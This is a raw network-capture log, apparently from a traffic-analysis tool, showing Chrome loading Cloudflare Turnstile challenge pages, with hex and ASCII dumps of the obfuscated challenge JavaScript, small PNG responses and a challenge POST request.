2025-01-07 14:18:27 UTC	1369	IN	Data Raw: 4f 28 35 37 31 29 5d 2c 64 5b 68 4f 28 35 36 34 29 5d 29 3f 66 79 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 68 50 29 7b 68 50 3d 68 4f 2c 64 5b 68 50 28 38 31 39 29 5d 28 66 59 29 7d 2c 31 65 33 29 3a 65 26 26 65 5b 68 4f 28 31 30 37 35 29 5d 3d 3d 3d 64 5b 68 4f 28 31 37 38 32 29 5d 26 26 65 5b 68 4f 28 35 37 31 29 5d 3d 3d 3d 68 4f 28 35 32 37 29 26 26 64 5b 68 4f 28 34 35 30 29 5d 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 2c 66 79 29 7d 29 2c 66 41 3d 21 5b 5d 2c 21 66 31 28 67 4a 28 34 31 36 29 29 26 26 28 66 59 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 71 2c 63 2c 64 2c 65 29 7b 69 71 3d 67 4a 2c 63 3d 7b 27 6a 54 59 74 67 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 Data Ascii: O(571)],d[hO(564)])?fy=setInterval(function(hP){hP=hO,d[hP(819)](fY)},1e3):e&&e[hO(1075)]===d[hO(1782)]&&e[hO(571)]===hO(527)&&d[hO(450)](clearInterval,fy)}),fA=![],!f1(gJ(416))&&(fY(),setInterval(function(iq,c,d,e){iq=gJ,c={'jTYtg':function(f){return f()
2025-01-07 14:18:27 UTC	1369	IN	Data Raw: 30 35 29 2c 27 4e 56 49 4d 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 65 65 5a 63 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 68 28 69 2c 6a 29 7d 2c 27 66 70 64 6d 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 53 42 6f 59 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 78 48 58 51 57 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 6f 53 78 74 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 4b 65 5a 62 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 61 4e 5a 42 52 Data Ascii: 05),'NVIMP':function(h,i){return h>i},'eeZcc':function(h,i,j){return h(i,j)},'fpdmP':function(h,i){return h+i},'SBoYj':function(h,i){return h<i},'xHXQW':function(h,i){return i==h},'oSxtY':function(h,i){return h<<i},'KeZbZ':function(h,i){return i&h},'aNZBR
2025-01-07 14:18:27 UTC	1369	IN	Data Raw: 68 7d 2c 27 6f 72 55 44 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 44 47 74 59 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 74 72 75 57 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 62 61 68 72 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 54 52 59 7a 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 4b 4c 64 5a 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 69 75 28 34 33 36 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e Data Ascii: h},'orUDs':function(h,i){return i!=h},'DGtYS':function(h,i){return i*h},'truWq':function(h,i){return h<i},'bahrs':function(h,i){return h-i},'TRYzk':function(h,i){return h-i},'KLdZt':function(h,i){return i==h}},e=String[iu(436)],f={'h':function(h){return n
2025-01-07 14:18:27 UTC	1369	IN	Data Raw: 2c 78 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4e 3d 31 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 69 79 28 31 33 30 36 29 5d 28 49 2c 31 29 7c 4e 2c 64 5b 69 79 28 31 31 33 32 29 5d 28 4a 2c 64 5b 69 79 28 38 33 30 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 69 79 28 31 34 30 31 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3d 30 2c 78 2b 2b 29 3b 66 6f 72 28 4e 3d 44 5b 69 79 28 31 32 31 36 29 5d 28 30 29 2c 78 3d 30 3b 31 36 3e 78 3b 49 3d 64 5b 69 79 28 31 33 36 36 29 5d 28 49 2c 31 29 7c 4e 26 31 2c 64 5b 69 79 28 31 30 36 30 29 5d 28 4a 2c 6a 2d 31 29 3f 28 4a 3d 30 2c 48 5b 69 79 28 31 34 30 31 29 5d 28 64 5b 69 79 28 33 39 32 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 45 2d 2d 2c 64 5b 69 Data Ascii: ,x++);}else{for(N=1,x=0;x<G;I=d[iy(1306)](I,1)\|N,d[iy(1132)](J,d[iy(830)](j,1))?(J=0,H[iy(1401)](o(I)),I=0):J++,N=0,x++);for(N=D[iy(1216)](0),x=0;16>x;I=d[iy(1366)](I,1)\|N&1,d[iy(1060)](J,j-1)?(J=0,H[iy(1401)](d[iy(392)](o,I)),I=0):J++,N>>=1,x++);}E--,d[i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49733	104.18.94.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:27 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:27 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:27 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8fe493bfeb684251-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:27 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49734	104.18.95.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:27 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:27 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:27 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8fe493c3bf2c7cf6-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:27 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49735	104.18.95.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:27 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8fe493bb0e5e18d0&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:28 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:28 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 114534 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8fe493c52b117c99-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:28 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 71 51 4c 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qqQL2={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2F
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 56 65 72 69 66 79 69 6e 67 2e 2e 2e 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 61 69 6c 75 72 65 22 3a 22 45 72 72 6f 72 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 32 30 70 61 72 65 6e 74 25 Data Ascii: Verifying...","human_button_text":"Verify%20you%20are%20human","turnstile_footer_privacy":"Privacy","turnstile_failure":"Error","turnstile_feedback_description":"Send%20Feedback","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 67 65 2c 67 66 2c 67 67 2c 67 71 2c 67 42 2c 67 46 2c 67 47 2c 67 48 2c 65 4f 2c 65 50 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 34 33 36 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 31 31 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 36 35 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 35 39 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 30 38 29 29 2f 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 37 30 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 33 32 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 67 Data Ascii: ge,gf,gg,gq,gB,gF,gG,gH,eO,eP){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(436))/1(parseInt(gI(1611))/2)+parseInt(gI(1365))/3(-parseInt(gI(659))/4)+-parseInt(gI(608))/5(-parseInt(gI(970))/6)+-parseInt(gI(1532))/7(parseInt(g
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 2b 31 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 6e 28 39 37 33 29 5d 5b 68 6e 28 39 34 34 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 68 6e 28 31 35 37 39 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 66 6b 28 67 2c 68 2c 44 29 2c 6f 5b 68 6e 28 35 32 37 29 5d 28 42 2c 45 29 3f 28 46 3d 6f 5b 68 6e 28 31 35 37 38 29 5d 28 27 73 27 2c 45 29 26 26 21 67 5b 68 6e 28 31 31 31 31 29 5d 28 68 5b 44 5d 29 2c 6f 5b 68 6e 28 36 38 32 29 5d 28 6f 5b 68 6e 28 31 36 35 35 29 5d 2c 6f 5b 68 6e 28 35 33 35 29 5d 28 69 2c 44 29 29 3f 6f 5b 68 6e 28 31 36 33 34 29 5d 28 73 2c 69 2b 44 2c 45 29 3a 46 7c 7c 73 28 69 2b 44 2c 68 5b 44 5d 29 29 3a 73 28 69 2b 44 2c 45 29 2c Data Ascii: +1,1):H+=1);return G}}(x),B='nAsAaAb'.split('A'),B=B[hn(973)][hn(944)](B),C=0;C<x[hn(1579)];D=x[C],E=fk(g,h,D),o[hn(527)](B,E)?(F=o[hn(1578)]('s',E)&&!g[hn(1111)](h[D]),o[hn(682)](o[hn(1655)],o[hn(535)](i,D))?o[hn(1634)](s,i+D,E):F\|\|s(i+D,h[D])):s(i+D,E),
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 28 31 35 37 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 68 44 2c 65 29 7b 65 3d 28 68 44 3d 67 4a 2c 7b 27 4a 56 67 62 47 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 28 68 29 7d 2c 27 4d 50 4f 78 62 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 3d 3d 3d 68 7d 2c 27 48 61 46 6a 62 27 3a 68 44 28 33 31 35 29 7d 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 5b 68 44 28 34 35 31 29 5d 28 66 71 2c 63 29 7d 63 61 74 63 68 28 67 29 7b 69 66 28 65 5b 68 44 28 33 38 38 29 5d 28 65 5b 68 44 28 38 31 39 29 5d 2c 68 44 28 31 33 35 39 29 29 29 65 26 26 63 28 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 65 5b 68 44 28 34 35 31 29 5d 28 66 6f 2c 66 70 28 63 29 29 7d 7d 2c 65 4d 5b 67 4a 28 39 38 32 29 5d 3d 21 5b 5d 2c 65 Data Ascii: (1573)]=function(c,hD,e){e=(hD=gJ,{'JVgbG':function(g,h){return g(h)},'MPOxb':function(g,h){return g===h},'HaFjb':hD(315)});try{return e[hD(451)](fq,c)}catch(g){if(e[hD(388)](e[hD(819)],hD(1359)))e&&c();else return e[hD(451)](fo,fp(c))}},eM[gJ(982)]=![],e
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 72 6e 20 47 2b 48 7d 2c 6a 29 3b 74 72 79 7b 69 66 28 6c 3d 66 42 28 67 5b 69 38 28 31 32 30 30 29 5d 2c 67 5b 69 38 28 31 33 34 30 29 5d 29 2c 6b 5b 69 38 28 36 33 34 29 5d 28 67 5b 69 38 28 31 32 30 30 29 5d 2c 45 72 72 6f 72 29 3f 67 5b 69 38 28 31 32 30 30 29 5d 3d 4a 53 4f 4e 5b 69 38 28 31 31 30 37 29 5d 28 67 5b 69 38 28 31 32 30 30 29 5d 2c 4f 62 6a 65 63 74 5b 69 38 28 36 32 38 29 5d 28 67 5b 69 38 28 31 32 30 30 29 5d 29 29 3a 67 5b 69 38 28 31 32 30 30 29 5d 3d 4a 53 4f 4e 5b 69 38 28 31 31 30 37 29 5d 28 67 5b 69 38 28 31 32 30 30 29 5d 29 2c 6d 3d 6b 5b 69 38 28 33 34 33 29 5d 28 69 2c 6b 5b 69 38 28 31 34 37 38 29 5d 29 2c 6e 3d 65 4d 5b 69 38 28 31 34 36 37 29 5d 5b 69 38 28 35 33 38 29 5d 3f 6b 5b 69 38 28 39 33 33 29 5d 28 27 68 2f 27 2c Data Ascii: rn G+H},j);try{if(l=fB(g[i8(1200)],g[i8(1340)]),k[i8(634)](g[i8(1200)],Error)?g[i8(1200)]=JSON[i8(1107)](g[i8(1200)],Object[i8(628)](g[i8(1200)])):g[i8(1200)]=JSON[i8(1107)](g[i8(1200)]),m=k[i8(343)](i,k[i8(1478)]),n=eM[i8(1467)][i8(538)]?k[i8(933)]('h/',
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 6c 26 26 28 67 3d 6c 5b 31 5d 2c 68 3d 65 5b 69 39 28 36 33 31 29 5d 28 70 61 72 73 65 49 6e 74 2c 6c 5b 32 5d 2c 31 30 29 2c 69 3d 65 5b 69 39 28 36 33 31 29 5d 28 70 61 72 73 65 49 6e 74 2c 6c 5b 33 5d 2c 31 30 29 29 29 29 3a 66 3d 4a 53 4f 4e 5b 69 39 28 31 31 30 37 29 5d 28 64 29 3b 72 65 74 75 72 6e 20 6d 3d 7b 7d 2c 6d 5b 69 39 28 38 38 34 29 5d 3d 66 2c 6d 5b 69 39 28 31 33 34 30 29 5d 3d 67 2c 6d 5b 69 39 28 37 34 38 29 5d 3d 68 2c 6d 5b 69 39 28 31 33 39 30 29 5d 3d 69 2c 6d 5b 69 39 28 31 32 30 30 29 5d 3d 64 2c 6d 7d 2c 65 4d 5b 67 4a 28 31 31 37 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 2c 67 2c 68 2c 69 62 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 69 62 3d 67 4a 2c 69 3d 7b 27 42 68 63 58 74 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f Data Ascii: l&&(g=l[1],h=e[i9(631)](parseInt,l[2],10),i=e[i9(631)](parseInt,l[3],10)))):f=JSON[i9(1107)](d);return m={},m[i9(884)]=f,m[i9(1340)]=g,m[i9(748)]=h,m[i9(1390)]=i,m[i9(1200)]=d,m},eM[gJ(1179)]=function(d,e,f,g,h,ib,i,j,k,l,m){(ib=gJ,i={'BhcXt':function(n,o
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 64 2c 65 29 7b 6a 45 3d 67 4a 2c 63 3d 7b 27 6f 4d 6a 56 56 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 64 6a 79 69 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3e 67 7d 2c 27 68 46 79 70 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2d 67 7d 2c 27 78 4e 4e 55 65 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 7d 2c 64 3d 65 4d 5b 6a 45 28 31 34 36 37 29 5d 5b 6a 45 28 36 31 35 29 5d 7c 7c 31 65 34 2c 65 3d 63 5b 6a 45 28 36 31 38 29 5d 28 67 43 29 2c 21 65 4d 5b 6a 45 28 38 30 31 29 5d 26 26 21 63 5b 6a 45 28 36 31 38 29 5d 28 67 68 29 26 26 21 65 4d 5b 6a 45 28 37 34 39 29 5d 5b 6a 45 28 31 32 31 36 29 5d 26 26 63 5b 6a 45 28 31 36 Data Ascii: d,e){jE=gJ,c={'oMjVV':function(f){return f()},'djyiz':function(f,g){return f>g},'hFypL':function(f,g){return f-g},'xNNUe':function(f){return f()}},d=eM[jE(1467)][jE(615)]\|\|1e4,e=c[jE(618)](gC),!eM[jE(801)]&&!c[jE(618)](gh)&&!eM[jE(749)][jE(1216)]&&c[jE(16
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 75 72 6e 20 69 7c 68 7d 2c 27 78 6c 57 6a 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 62 70 51 48 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 59 62 66 46 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 47 53 43 71 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 6d 65 65 43 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 79 5a 68 70 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 4f 44 54 6e 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 64 74 4c 63 Data Ascii: urn i\|h},'xlWjM':function(h,i){return i==h},'bpQHh':function(h,i){return h<i},'YbfFz':function(h,i){return h<<i},'GSCqV':function(h,i){return h-i},'meeCA':function(h,i){return h>i},'yZhpx':function(h,i){return h==i},'ODTnE':function(h,i){return i\|h},'dtLc
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 6a 4b 28 34 30 39 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 6a 4b 28 37 37 39 29 5d 28 38 2c 73 29 3b 48 3d 64 5b 6a 4b 28 31 36 36 38 29 5d 28 48 2c 31 29 7c 64 5b 6a 4b 28 31 31 37 35 29 5d 28 4d 2c 31 29 2c 64 5b 6a 4b 28 31 34 31 31 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 6a 4b 28 31 32 33 35 29 5d 28 64 5b 6a 4b 28 35 37 37 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 4d 7c 48 3c 3c 31 2c 64 5b 6a 4b 28 31 30 31 34 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 6a 4b 28 31 32 33 35 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 6a 4b 28 Data Ascii: ++);for(M=C[jK(409)](0),s=0;d[jK(779)](8,s);H=d[jK(1668)](H,1)\|d[jK(1175)](M,1),d[jK(1411)](I,j-1)?(I=0,G[jK(1235)](d[jK(577)](o,H)),H=0):I++,M>>=1,s++);}else{for(M=1,s=0;s<F;H=M\|H<<1,d[jK(1014)](I,j-1)?(I=0,G[jK(1235)](o(H)),H=0):I++,M=0,s++);for(M=C[jK(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49737	104.18.94.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:28 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1244244765:1736256396:4eQx91ZCZiIBwjt3oqc8_CcgZavgzQBPmS8A9uDbAjg/8fe493bb0e5e18d0/swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3163 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:28 UTC	3163	OUT	Data Raw: 76 5f 38 66 65 34 39 33 62 62 30 65 35 65 31 38 64 30 3d 4c 55 31 4b 25 32 62 4b 43 4b 38 4b 5a 4b 33 56 6f 2d 56 6f 36 4b 56 63 75 54 59 7a 56 74 6f 59 4f 39 6f 42 36 6f 4d 72 79 4d 2d 4a 59 6f 75 63 59 54 66 79 4a 43 6f 36 6f 31 63 56 53 4d 71 6f 6a 79 6f 54 66 32 53 4b 74 66 6f 47 4b 56 66 53 56 6c 64 58 4d 53 6f 45 4b 64 64 41 6f 62 79 6f 38 62 6f 31 43 49 6f 4e 74 6d 55 59 75 68 4b 64 36 36 24 6f 75 24 24 66 6f 39 4b 4a 37 36 6f 50 7a 76 31 76 51 65 66 54 77 49 6f 34 74 38 7a 4d 42 53 30 45 6c 6f 59 4e 4a 39 43 76 43 6c 79 4d 4c 4c 74 38 74 61 64 7a 47 51 56 5a 24 73 63 4d 51 73 33 71 63 30 63 4e 36 6a 2d 4c 74 6f 74 64 51 6f 64 6a 51 4c 24 63 72 73 6f 4d 36 50 50 67 41 73 7a 6a 65 6f 75 4f 6f 6c 63 6f 68 4a 6c 45 42 55 41 7a 72 56 30 56 6f 75 79 4b Data Ascii: 